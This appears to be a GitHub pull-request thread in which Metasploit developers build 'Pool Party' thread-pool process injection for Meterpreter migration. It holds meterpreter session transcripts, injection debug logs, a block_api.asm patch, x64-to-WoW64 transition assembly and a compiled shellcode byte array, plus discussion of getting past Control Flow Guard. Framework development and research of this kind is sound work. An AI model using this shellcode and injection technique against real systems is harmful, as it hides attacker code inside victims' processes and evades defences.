Closed dledda-r7 closed 3 weeks ago
msf6 payload(windows/x64/meterpreter_reverse_tcp) > sessions -i -1
[*] Starting interaction with 2...
meterpreter > sysinfo
Computer : DESKTOP-CL5L2IH
OS : Windows 10 (10.0 Build 18362).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getuid
Server username: DESKTOP-CL5L2IH\msfuser
meterpreter > migrate 4968
[*] Migrating from 4328 to 4968...
WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/metsrv.x64.debug.dll is being used
WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/ext_server_stdapi.x64.debug.dll is being used
WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/ext_server_priv.x64.debug.dll is being used
[*] Migration completed successfully.
meterpreter > sysinfo
Computer : DESKTOP-CL5L2IH
OS : Windows 10 (10.0 Build 18362).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter >
You mentioned you'd tested on Win 7 and 10, so here's 8:
msf6 payload(windows/x64/meterpreter_reverse_tcp) > sessions -i -1
[*] Starting interaction with 7...
meterpreter > sysinfo
gComputer : WIN8X64
OS : Windows 8 (6.2 Build 9200).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getuid
Server username: WIN8X64\msfuser
meterpreter > migrate 2520
[*] Migrating from 2552 to 2520...
WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/metsrv.x64.debug.dll is being used
[-] core_migrate: Operation failed: Incorrect function.
You mentioned you'd tested on Win 7 and 10, so here's 8:
msf6 payload(windows/x64/meterpreter_reverse_tcp) > sessions -i -1 [*] Starting interaction with 7... meterpreter > sysinfo gComputer : WIN8X64 OS : Windows 8 (6.2 Build 9200). Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 2 Meterpreter : x64/windows meterpreter > getuid Server username: WIN8X64\msfuser meterpreter > migrate 2520 [*] Migrating from 2552 to 2520... WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/metsrv.x64.debug.dll is being used [-] core_migrate: Operation failed: Incorrect function.
Yep I was expecting to not work on Windows 8 targets, So far the TP injection variants seems to work well on Windows 11 and Windows 10. Probably the best shot is to use the WorkerFactory Overwrite when the system is below Windows 10. I'll investigate more. Thanks.
Im leaving here a comment to document my attempt to perform the injection from a x64 process to WoW64 target.
The problem is that this injection, happen on the 64-bit context of a WoW64 process.
Unlike the transition from 32-bit context to 64-bit context (commonly known as Heaven's Gate) where we have both context initialized, the 64-bit to 32-bit transition requires way more work because our process is not setup to run 32-bit code (yet), so even if is possible to switch the CPU to 32-bit (using the far jmp
) every shellcode will most likely fail because the context of the process is not initialized (for example our fs
segment register is null).
After spending some time reverse engineering the wow64
dlls, I got couple of ideas:
fs
register configuration just to perform a 32-bit call to CreateThread
(Hoping this will work?)NtCreateThread
syscall on the 32-bit ntdll.dll
from the 64-bit context (sketchy)While we are in Heaven we don't have access to kernel32.dll
and probably loading it with LdrLoadDll
will result in some error because of the precence of the 32-bit
version of kernel32.dll.
wow64-user-apc user-apc-nttestalert wow64-internals knocking-on-heavens-gate
I have spent some time on the pool party x64 to wow64 migration, and have a solution, some observations, and a problem.
First off, the target process will execute our arbitrary address to kick start the migration target-side via ntdll!TppWorkerThread
. This function runs in its own thread, created by ntdll
during TpAllocPoolInternal
, and loops forever servicing the TP_DIRECT
callback (and probably lots of other things too). As Diego notes above, when we get code execution from this primitive, we are initially in the host's x64 context and any attempt to transition to the x86 context will work, but the fs
register appears uninitialized. In my testing reading from fs
resulted in a read access violation. I was not able to identify why this was the case. My best guess is the thread executing ntdll!TppWorkerThread
is not a normal thread, or was created so early on in the process lifetime that is is not initialized in a way that can transition to x86 context.
The solution seems to be to stay in the x64 context and from here, use ntdll!NtCreateThreadEx
to create a new local thread. This new thread will also execute in the x64 context, but we can successfully switch to the x86 context and then successfully access fs
as expected.
Note: We use ntdll!NtCreateThreadEx
and not kernel32!CreateThread
as kernel32 may not be available in the x64 context of a wow64 process.
Next up, it seems in the x64 context of a wow64 process, traversing the PEB can include modules that don't have a pointer to their module name! This causes a null pointer dereference when trying to use the x64 block_api.asm
thunk, so a modification to block_api.asm
is needed to prevent crashing during this edge case:
--- a/block_api.asm
+++ b/block_api.asm
@@ -30,6 +30,8 @@ api_call:
mov rdx, [rdx+0x20] ; Get the first module from the InMemoryOrder module list
next_mod: ;
mov rsi, [rdx+0x50] ; Get pointer to modules name (unicode string)
+ test rsi, rsi ; sanity check the pointer (the x64 context of a wow64 process on Win11 can have a null entry)
+ jz get_next_mod2 ; skip to the next module if rsi is null.
movzx rcx, word [rdx+0x4a] ; Set rcx to the length we want to check
xor r9, r9 ; Clear r9 which will store the hash of the module name
loop_modname: ;
@@ -109,5 +111,6 @@ get_next_mod: ;
get_next_mod1: ;
pop r9 ; Pop off the current (now the previous) modules hash
pop rdx ; Restore our position in the module list
+get_next_mod2: ;
mov rdx, [rdx] ; Get the next module
jmp next_mod ; Process this module
Now that block_api
will work, we can use it to call NtCreateThreadEx
as follows:
[BITS 64]
[ORG 0]
cld ; Clear the direction flag.
call start ;
%include "./src/block/block_api.asm" ;
start: ;
pop rbp ; Pop off the address of 'api_call' for calling later.
jmp thread_start
start2:
pop rsi
and rsp, ~0xf ; alignment for testing, unsure if we need this.
sub rsp, 128
lea rcx, [rsp] ; hThread
mov rdx, 0x1FFFFF ; DesiredAccess
xor r8, r8 ; ObjectAttributes
xor r9, r9
dec r9 ; ProcessHandle
push r8 ; lpBytesBuffer
push r8 ; SizeOfStackReserve
push r8 ; SizeOfStackCommit
push r8 ; StackZeroBits
push r8 ; Flags, CreateSuspended = FALSE
push r8 ; lpParameter
push rsi ; lpStartAddress
mov r10d, 0x9A3C803E ; 0x9A3C803E = ntdll.dll!NtCreateThreadEx
call rbp ; NtCreateThreadEx(&handle, THREAD_ALL_ACCESS, 0, -1, &thread_start2, 0, FALSE, 0, 0, 0, 0);
nop
loop:
; XXX: TO-DO: return gracefully, instead of looping forever below.
xor eax,eax ; This infinite loop seems necessary to keep the process running.
cmp eax,eax ; Needs further investigation
je loop
nop
This is then used to execute the below code in a new local thread. Our new thread will start in the x64 context, but we will perform a long jump to transition to the x86 context.
thread_start:
call start2
thread_start2:
WOW64_CODE_SEGMENT EQU 0x23
[BITS 64]
[ORG 0]
cld
call delta2
delta2:
pop rax
add rax, (native_x86-delta2)
sub rsp, 8
mov rdx, rsp
mov dword [rdx+4], WOW64_CODE_SEGMENT
mov dword [rdx], eax
jmp dword far [rsp]
nop
Now our new thread will be running x86 code, and we can use the ctx
structure passed to us during migration (appended to the end of our blob of migration code) to call out to the reflective loader, and actually perform the Meterpreter migration.
native_x86:
[BITS 32]
nop
jmp _parameters
_cb_parameters:
pop esi ; pop address of ctx
push dword [esi+8] ; ctx->lpParameter
call dword [esi] ; ctx->lpStartAddress
int3
_parameters:
call _cb_parameters ; Simple way to get the address of the POOLPARTYCTX using the return address
The above asm becomes the x64tox86
stub base_inject.c
:
unsigned char x64tox86[] = {
0xfc, 0xe8, 0xd1, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52,
0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x85, 0xf6,
0x0f, 0x84, 0xa5, 0x00, 0x00, 0x00, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d,
0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20,
0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51,
0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x66, 0x81,
0x78, 0x18, 0x0b, 0x02, 0x75, 0x72, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00,
0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18,
0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9,
0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75,
0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58,
0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48,
0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48,
0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41,
0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58,
0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x46, 0xff, 0xff, 0xff, 0x5d,
0xeb, 0x3b, 0x5e, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x81, 0xec, 0x80, 0x00,
0x00, 0x00, 0x48, 0x8d, 0x0c, 0x24, 0xba, 0xff, 0xff, 0x1f, 0x00, 0x4d,
0x31, 0xc0, 0x4d, 0x31, 0xc9, 0x49, 0xff, 0xc9, 0x41, 0x50, 0x41, 0x50,
0x41, 0x50, 0x41, 0x50, 0x41, 0x50, 0x41, 0x50, 0x56, 0x41, 0xba, 0x3e,
0x80, 0x3c, 0x9a, 0xff, 0xd5, 0x90, 0x31, 0xc0, 0x39, 0xc0, 0x74, 0xfa,
0x90, 0xe8, 0xc0, 0xff, 0xff, 0xff, 0xfc, 0xe8, 0x00, 0x00, 0x00, 0x00,
0x58, 0x48, 0x83, 0xc0, 0x19, 0x48, 0x83, 0xec, 0x08, 0x48, 0x89, 0xe2,
0xc7, 0x42, 0x04, 0x23, 0x00, 0x00, 0x00, 0x89, 0x02, 0xff, 0x2c, 0x24,
0x90, 0x90, 0xeb, 0x07, 0x5e, 0xff, 0x76, 0x08, 0xff, 0x16, 0xcc, 0xe8,
0xf4, 0xff, 0xff, 0xff
};
and we can use it during base_inject.c!inject_via_poolparty
:
else {
dprintf("[INJECT][inject_via_poolparty] using: poolparty_stub_wow64");
//lpStub = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(x64tox86) + sizeof(poolparty_stub_x86) - 2);
//memcpy(lpStub, x64tox86, sizeof(x64tox86) - 1);
//memcpy((LPBYTE)lpStub + sizeof(x64tox86) - 1, poolparty_stub_x86, sizeof(poolparty_stub_x86));
//dwStubSize = sizeof(x64tox86) + sizeof(poolparty_stub_x86) - 2;
//dwDestinationArch = PROCESS_ARCH_X64;
lpStub = &x64tox86;
dwStubSize = sizeof(x64tox86);
dwDestinationArch = PROCESS_ARCH_X64;
}
Finally when the above is used, we can successfully migrate from an x64 process to a wow64 process using the pool party TP_DIRECT insertion technique:
Note: I tested this on Windows 11, and the target x86 process was a simple console application I built to test.
meterpreter > sysinfo
Computer : SFEWER-RE-VM
OS : Windows 11 (10.0 Build 22631).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > migrate 18860
[*] Migrating from 5700 to 18860...
WARNING: Local file C:/metasploit-framework/embedded/framework/data/meterpreter/metsrv.x86.debug.dll is being used
WARNING: Local file C:/metasploit-framework/embedded/framework/data/meterpreter/ext_server_stdapi.x86.debug.dll is being used
WARNING: Local file C:/metasploit-framework/embedded/framework/data/meterpreter/ext_server_priv.x86.debug.dll is being used
[*] Migration completed successfully.
meterpreter > sysinfo
Computer : SFEWER-RE-VM
OS : Windows 11 (10.0 Build 22631).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >
ntdll!TppWorkerThread
) would return gracefully to ntdll!TppWorkerThread
after we call ntdll!NtCreateThreadEx
, as this thread presumably services various thread pool things, and we want our host process to live a long and happy life.WaitForSingleObject( hEventTrigger, -1)
, this will need to be accounted for.block_api.asm
file to check for a null pointer will grow the size of block_api
, this doesn't matter for migration stubs, but RCE exploits leveraging block_api
may be affected by growing the size. This need to be considered. Although perhaps it is a good addition for all that use the x64 block_api
.So I was testing on a target process that did not have Control Flow Guard (CFG) enabled (or XFG). When you migrate using the pool party TP_DIRECT insertion technique, into a target wow64 process that has CFG (or XFG) enabled we hit a problem, the indirect call from ntdll!TppWorkerThread
to our attacker controlled Direct->Callback
is subject to a CFG/XFG check, and will fast fail as follows:
0:007> k
# Child-SP RetAddr Call Site
00 00000000`071af178 00007ffb`8cd9b01c ntdll!RtlFailFast2
01 00000000`071af180 00007ffb`8cd1f086 ntdll!RtlpHandleInvalidUserCallTarget+0x11c
02 00000000`071af1e0 00007ffb`8ccc5c9c ntdll!LdrpHandleInvalidUserCallTarget+0x46
03 00000000`071af2a0 00007ffb`8cceaf35 ntdll!TppWorkerThread+0x72c
04 00000000`071af580 00000000`00000000 ntdll!RtlUserThreadStart+0x35
This was surprising as I thought any executable memory we VirtualAlloc(Ex)
in a remote process, will have the CFG bitmap bits set to allow any addresses in the executable allocation be a valid indirect call targets (as we don't pass PAGE_TARGETS_INVALID
to VirtualAllocEx
). However this seems not to be the case for a wow64 process.
I experimented with using SetProcessValidCallTargets
to explicitly allow a target address (Direct->Callback
, aka lpPoolPartyStub
in base_inject.c!inject_via_poolparty
) become a valid call target, but it did not work, the expected bits were not set. It could be the case that under wow64, calling SetProcessValidCallTargets
sets the bits in the x86 context and not the x64 context, and we are executing in the x64 context initially.
This is going to be a problem as CFG is common. For testing I used the x86 binary c:\Windows\SysWOW64\SndVol.exe
to migrate into.
Hi @sfewer-r7, first of all thanks a lot for the time you spent on the PR! I am really happy to see I was overcomplicating the shellcoding part.
I got the same issue while testing and I thought the issue was normal and was caused by the fact what I was calling was not present inside the linked list of loaded dlls (for example kernel32
functions).
The infinite loop was making the migration work while testing but I agree before moving from Draft -> Ready PR this need to be fixed. I will investigate further.
That's fine, I have to work on the 32-bit stubs anyway so I will make sure to have an updated one that work for both native 32 and wow64.
I have probably a solution and I think the 3rd variant I am implementing will bypass the CFG, precisely is the ThreadFactoryOverwrite, this should work because this variant is overwriting the entry point of the ThreadFactory (which is a function living inside the ntdll address space) that we can obtain from outside. so, if this works I am not expecting lot of issues besides some hacking to make this technique a bit cleaner (like restoring the original code + thread workers count after execution, if this doesn't cause issue during migration).
However even if this technique should be fine with x64 -> wow64
will be a bit more tricky on wow64 -> wow64
due the fact we have to write 64bit memory address (because the ThreadFactory is in the x64 context) from a 32bit process.
Perhaps I'm doing something incorrect..... In trying this on Windows 10x64 first release on an x64 meterpreter into a notepad process:
[093c] [MIGRATE] Attempting to migrate. ProcessID=964, Arch=x64
[093c] [MIGRATE] Attempting to migrate. PayloadLength=282112 StubLength=317
[093c] [INJECT][supports_poolparty_injection] RtlGetVersion: 00007FFFEAFC1BE0
[093c] [INJECT][supports_poolparty_injection] dwSourceArch: 2 dwDestinationArch: 2
[093c] [INJECT][supports_poolparty_injection] os.dwMajorVersion: 10 os.dwMinorVersion: 0
[093c] [MIGRATE] Got SeDebugPrivilege!
[093c] [MIGRATE] creating the configuration block
[093c] [CONFIG] preparing the configuration
[093c] [CONFIG] Allocating 1036 bytes for transport, total of 1604 bytes
[093c] [CONFIG] Comms handle set to 0000000000000078
[093c] [CONFIG] Total of 1614 bytes located at 0x00000000001DE930
[093c] [MIGRATE] Config of 1614 bytes stashed at 0x00000000001DE930
[093c] [MIGRATE] Duplicated Event Handle: 0x1b4
[093c] [MIGRATE] Migrate stub: 0x0000007BD0A60000 -> 317 bytes
[093c] [MIGRATE] Migrate context: 0x0000007BD0A6013D -> 388 bytes
[093c] [MIGRATE] Migrate payload: 0x0000007BD0A602C1 -> 282112 bytes
[093c] [MIGRATE] Configuration: 0x0000007BD0AA50C1 -> 1614 bytes
[093c] [INJECT][supports_poolparty_injection] RtlGetVersion: 00007FFFEAFC1BE0
[093c] [INJECT][supports_poolparty_injection] dwSourceArch: 2 dwDestinationArch: 2
[093c] [INJECT][supports_poolparty_injection] os.dwMajorVersion: 10 os.dwMinorVersion: 0
[093c] [INJECT][inject_via_poolparty][ntdll_init] NtQueryInformationProcess: 00007FFFEB0136D0 NtQueryObject: 00007FFFEB013640
[093c] [INJECT][inject_via_poolparty][ntdll_init] ZwSetIoCompletion: 00007FFFEB014D90
[093c] [INJECT][inject_via_poolparty] Can't inject on this target (yet)!. error=1 (0x1)
[093c] [MIGRATE] inject_via_poolparty failed, proceeding with legacy injection.
[093c] [INJECT] inject_via_remotethread: succeeded
[093c] [INJECT] inject_via_remotethread: Sending a migrate response...
[093c] [TRANSMIT] Sending packet to the server
[093c] [PKT FIND] Looking for type 65538
And again on Windows 10x64 21h1, x64 meterpreter and notepad native process:
[0674] [MIGRATE] Attempting to migrate. ProcessID=2108, Arch=x64
[0674] [MIGRATE] Attempting to migrate. PayloadLength=282112 StubLength=317
[0674] [INJECT][supports_poolparty_injection] RtlGetVersion: 00007FF9C72EE4D0
[0674] [INJECT][supports_poolparty_injection] dwSourceArch: 2 dwDestinationArch: 2
[0674] [INJECT][supports_poolparty_injection] os.dwMajorVersion: 10 os.dwMinorVersion: 0
[0674] [MIGRATE] Got SeDebugPrivilege!
[0674] [MIGRATE] creating the configuration block
[0674] [CONFIG] preparing the configuration
[0674] [CONFIG] Allocating 1036 bytes for transport, total of 1604 bytes
[0674] [CONFIG] Comms handle set to 00000000000000B8
[0674] [CONFIG] Total of 1614 bytes located at 0x000000000050F910
[0674] [MIGRATE] Config of 1614 bytes stashed at 0x000000000050F910
[0674] [MIGRATE] Duplicated Event Handle: 0x3b8
[0674] [MIGRATE] Migrate stub: 0x000002365D5E0000 -> 317 bytes
[0674] [MIGRATE] Migrate context: 0x000002365D5E013D -> 388 bytes
[0674] [MIGRATE] Migrate payload: 0x000002365D5E02C1 -> 282112 bytes
[0674] [MIGRATE] Configuration: 0x000002365D6250C1 -> 1614 bytes
[0674] [INJECT][supports_poolparty_injection] RtlGetVersion: 00007FF9C72EE4D0
[0674] [INJECT][supports_poolparty_injection] dwSourceArch: 2 dwDestinationArch: 2
[0674] [INJECT][supports_poolparty_injection] os.dwMajorVersion: 10 os.dwMinorVersion: 0
[0674] [INJECT][inject_via_poolparty][ntdll_init] NtQueryInformationProcess: 00007FF9C734D030 NtQueryObject: 00007FF9C734CF10
[0674] [INJECT][inject_via_poolparty][ntdll_init] ZwSetIoCompletion: 00007FF9C7350120
[0674] [INJECT][inject_via_poolparty] Can't inject on this target (yet)!. error=1 (0x1)
[0674] [MIGRATE] inject_via_poolparty failed, proceeding with legacy injection.
[0674] [INJECT] inject_via_remotethread: succeeded
Info
[ruby-3.1.5]((HEAD detached at upstream/pr/710)) tmoose@ubuntu-dev2024:~/rapid7/metasploit-payloads$ git log | head -n 10
commit b7b464d24afdec5ac82ac3a008c4c13e255a040a
Author: dledda-r7 <diego_ledda@rapid7.com>
Date: Mon Oct 21 05:02:08 2024 -0400
fix(injection): fix msvc compilation error
This error appears generated by the conditional statement
if (dwDestinationArch == PROCESS_ARCH_X64 && (dwMeterpreterArch == PROCESS_ARCH_X86 || dwMeterpreterArch == PROCESS_ARCH_X86))
Which looks wrong to me? The second part of that condition is an OR between identical statements? It would only pass on migrating from syswow meterpreters to x64 processes?
I'm guessing there's a bit of a typo, and it should be
if (dwDestinationArch == PROCESS_ARCH_X64 && (dwMeterpreterArch == PROCESS_ARCH_X86 || dwMeterpreterArch == PROCESS_ARCH_X86))
That seems like it would support both x64->x64 and wow64->x64 as expected?
Perhaps I'm doing something incorrect..... In trying this on Windows 10x64 first release on an x64 meterpreter into a notepad process:
[093c] [MIGRATE] Attempting to migrate. ProcessID=964, Arch=x64 [093c] [MIGRATE] Attempting to migrate. PayloadLength=282112 StubLength=317 [093c] [INJECT][supports_poolparty_injection] RtlGetVersion: 00007FFFEAFC1BE0 [093c] [INJECT][supports_poolparty_injection] dwSourceArch: 2 dwDestinationArch: 2 [093c] [INJECT][supports_poolparty_injection] os.dwMajorVersion: 10 os.dwMinorVersion: 0 [093c] [MIGRATE] Got SeDebugPrivilege! [093c] [MIGRATE] creating the configuration block [093c] [CONFIG] preparing the configuration [093c] [CONFIG] Allocating 1036 bytes for transport, total of 1604 bytes [093c] [CONFIG] Comms handle set to 0000000000000078 [093c] [CONFIG] Total of 1614 bytes located at 0x00000000001DE930 [093c] [MIGRATE] Config of 1614 bytes stashed at 0x00000000001DE930 [093c] [MIGRATE] Duplicated Event Handle: 0x1b4 [093c] [MIGRATE] Migrate stub: 0x0000007BD0A60000 -> 317 bytes [093c] [MIGRATE] Migrate context: 0x0000007BD0A6013D -> 388 bytes [093c] [MIGRATE] Migrate payload: 0x0000007BD0A602C1 -> 282112 bytes [093c] [MIGRATE] Configuration: 0x0000007BD0AA50C1 -> 1614 bytes [093c] [INJECT][supports_poolparty_injection] RtlGetVersion: 00007FFFEAFC1BE0 [093c] [INJECT][supports_poolparty_injection] dwSourceArch: 2 dwDestinationArch: 2 [093c] [INJECT][supports_poolparty_injection] os.dwMajorVersion: 10 os.dwMinorVersion: 0 [093c] [INJECT][inject_via_poolparty][ntdll_init] NtQueryInformationProcess: 00007FFFEB0136D0 NtQueryObject: 00007FFFEB013640 [093c] [INJECT][inject_via_poolparty][ntdll_init] ZwSetIoCompletion: 00007FFFEB014D90 [093c] [INJECT][inject_via_poolparty] Can't inject on this target (yet)!. error=1 (0x1) [093c] [MIGRATE] inject_via_poolparty failed, proceeding with legacy injection. [093c] [INJECT] inject_via_remotethread: succeeded [093c] [INJECT] inject_via_remotethread: Sending a migrate response... [093c] [TRANSMIT] Sending packet to the server [093c] [PKT FIND] Looking for type 65538
And again on Windows 10x64 21h1, x64 meterpreter and notepad native process:
[0674] [MIGRATE] Attempting to migrate. ProcessID=2108, Arch=x64 [0674] [MIGRATE] Attempting to migrate. PayloadLength=282112 StubLength=317 [0674] [INJECT][supports_poolparty_injection] RtlGetVersion: 00007FF9C72EE4D0 [0674] [INJECT][supports_poolparty_injection] dwSourceArch: 2 dwDestinationArch: 2 [0674] [INJECT][supports_poolparty_injection] os.dwMajorVersion: 10 os.dwMinorVersion: 0 [0674] [MIGRATE] Got SeDebugPrivilege! [0674] [MIGRATE] creating the configuration block [0674] [CONFIG] preparing the configuration [0674] [CONFIG] Allocating 1036 bytes for transport, total of 1604 bytes [0674] [CONFIG] Comms handle set to 00000000000000B8 [0674] [CONFIG] Total of 1614 bytes located at 0x000000000050F910 [0674] [MIGRATE] Config of 1614 bytes stashed at 0x000000000050F910 [0674] [MIGRATE] Duplicated Event Handle: 0x3b8 [0674] [MIGRATE] Migrate stub: 0x000002365D5E0000 -> 317 bytes [0674] [MIGRATE] Migrate context: 0x000002365D5E013D -> 388 bytes [0674] [MIGRATE] Migrate payload: 0x000002365D5E02C1 -> 282112 bytes [0674] [MIGRATE] Configuration: 0x000002365D6250C1 -> 1614 bytes [0674] [INJECT][supports_poolparty_injection] RtlGetVersion: 00007FF9C72EE4D0 [0674] [INJECT][supports_poolparty_injection] dwSourceArch: 2 dwDestinationArch: 2 [0674] [INJECT][supports_poolparty_injection] os.dwMajorVersion: 10 os.dwMinorVersion: 0 [0674] [INJECT][inject_via_poolparty][ntdll_init] NtQueryInformationProcess: 00007FF9C734D030 NtQueryObject: 00007FF9C734CF10 [0674] [INJECT][inject_via_poolparty][ntdll_init] ZwSetIoCompletion: 00007FF9C7350120 [0674] [INJECT][inject_via_poolparty] Can't inject on this target (yet)!. error=1 (0x1) [0674] [MIGRATE] inject_via_poolparty failed, proceeding with legacy injection. [0674] [INJECT] inject_via_remotethread: succeeded
Info
[ruby-3.1.5]((HEAD detached at upstream/pr/710)) tmoose@ubuntu-dev2024:~/rapid7/metasploit-payloads$ git log | head -n 10 commit b7b464d24afdec5ac82ac3a008c4c13e255a040a Author: dledda-r7 <diego_ledda@rapid7.com> Date: Mon Oct 21 05:02:08 2024 -0400 fix(injection): fix msvc compilation error
This error appears generated by the conditional statement
if (dwDestinationArch == PROCESS_ARCH_X64 && (dwMeterpreterArch == PROCESS_ARCH_X86 || dwMeterpreterArch == PROCESS_ARCH_X86))
Which looks wrong to me? The second part of that condition is an OR between identical statements? It would only pass on migrating from syswow meterpreters to x64 processes?
I'm guessing there's a bit of a typo, and it should be
if (dwDestinationArch == PROCESS_ARCH_X64 && (dwMeterpreterArch == PROCESS_ARCH_X86 || dwMeterpreterArch == PROCESS_ARCH_X86))
That seems like it would support both x64->x64 and wow64->x64 as expected?
Good catch, looks like I added some bugs during my cleanup. at least the fall back to CreateRemoteThread is still working 🎉
Yup.... great!
msf6 payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : WIN10_21H1_540C
OS : Windows 10 (10.0 Build 19043).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getuid
Server username: WIN10_21H1_540C\msfuser
meterpreter > migrate 3232
[*] Migrating from 6908 to 3232...
WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/metsrv.x64.debug.dll is being used
WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/ext_server_stdapi.x64.debug.dll is being used
WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/ext_server_priv.x64.debug.dll is being used
[*] Migration completed successfully.
meterpreter >
[0c44] [MIGRATE] Attempting to migrate. ProcessID=3232, Arch=x64
[0c44] [MIGRATE] Attempting to migrate. PayloadLength=284160 StubLength=317
[0c44] [INJECT][supports_poolparty_injection] RtlGetVersion: 00007FF9C72EE4D0
[0c44] [INJECT][supports_poolparty_injection] dwSourceArch: 2 dwDestinationArch: 2
[0c44] [INJECT][supports_poolparty_injection] os.dwMajorVersion: 10 os.dwMinorVersion: 0
[0c44] [MIGRATE] Got SeDebugPrivilege!
[0c44] [MIGRATE] creating the configuration block
[0c44] [CONFIG] preparing the configuration
[0c44] [CONFIG] Allocating 1036 bytes for transport, total of 1604 bytes
[0c44] [CONFIG] Comms handle set to 00000000000000B8
[0c44] [CONFIG] Total of 1614 bytes located at 0x0000000000578100
[0c44] [MIGRATE] Config of 1614 bytes stashed at 0x0000000000578100
[0c44] [MIGRATE] Duplicated Event Handle: 0x324
[0c44] [MIGRATE] Migrate stub: 0x000001FA495A0000 -> 317 bytes
[0c44] [MIGRATE] Migrate context: 0x000001FA495A013D -> 388 bytes
[0c44] [MIGRATE] Migrate payload: 0x000001FA495A02C1 -> 284160 bytes
[0c44] [MIGRATE] Configuration: 0x000001FA495E58C1 -> 1614 bytes
[0c44] [INJECT][supports_poolparty_injection] RtlGetVersion: 00007FF9C72EE4D0
[0c44] [INJECT][supports_poolparty_injection] dwSourceArch: 2 dwDestinationArch: 2
[0c44] [INJECT][supports_poolparty_injection] os.dwMajorVersion: 10 os.dwMinorVersion: 0
[0c44] [INJECT][inject_via_poolparty][ntdll_init] NtQueryInformationProcess: 00007FF9C734D030 NtQueryObject: 00007FF9C734CF10
[0c44] [INJECT][inject_via_poolparty][ntdll_init] ZwSetIoCompletion: 00007FF9C7350120
[0c44] [INJECT][inject_via_poolparty] using: poolparty_stub_x64
[0c44] [INJECT][inject_via_poolparty] ctx [000001FA49460112] lpStartAddress: 000001FA495A0000 lpParameter 000001FA495A013D hTriggerEvent 0000000000000330
[0c44] [INJECT][inject_via_poolparty] Attempting injection with variant POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION
[0c44] [INJECT][inject_via_poolparty][get_remote_handle] lpProcessInfo: 0000000000595610
[0c44] [INJECT][inject_via_poolparty][get_remote_handle] NtQueryInformationProcess() : 00000000C0000004
[0c44] [INJECT][inject_via_poolparty][get_remote_handle] HeapReAlloc lpProcessInfo: 0000000000595610
[0c44] [INJECT][inject_via_poolparty][get_remote_handle] NtQueryInformationProcess() : 0000000000000000
[0c44] [INJECT][inject_via_poolparty][get_remote_handle] lpProcessInfo: 0000000000595610 dwInformationSizeIn: 9656
[0c44] [INJECT][inject_via_poolparty][get_remote_handle] lpObjectInfo: 0000000000597BE0
[0c44] [INJECT][inject_via_poolparty][get_remote_handle] hHijackHandle: 00000000000002EC
[0c44] [INJECT][inject_via_poolparty][remote_tp_wait_insertion] ZwSetIoCompletion: 0
[0c44] [INJECT] inject_via_poolparty: injected!
[0c44] [INJECT] inject_via_poolparty: Sending a migrate response...
For testing, I have used meterpreters with logging turned on both migrating and using the screenshot function. Both use poolparty if possible and the logging will show if that's the way it gained thread access.
msf6 payload(windows/x64/meterpreter/reverse_tcp) > WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/metsrv.x64.debug.dll is being used
[*] Sending stage (285774 bytes) to 10.5.132.127
WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/ext_server_stdapi.x64.debug.dll is being used
WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/ext_server_priv.x64.debug.dll is being used
[*] Meterpreter session 3 opened (10.5.135.201:4585 -> 10.5.132.127:50074) at 2024-10-29 15:33:04 -0500
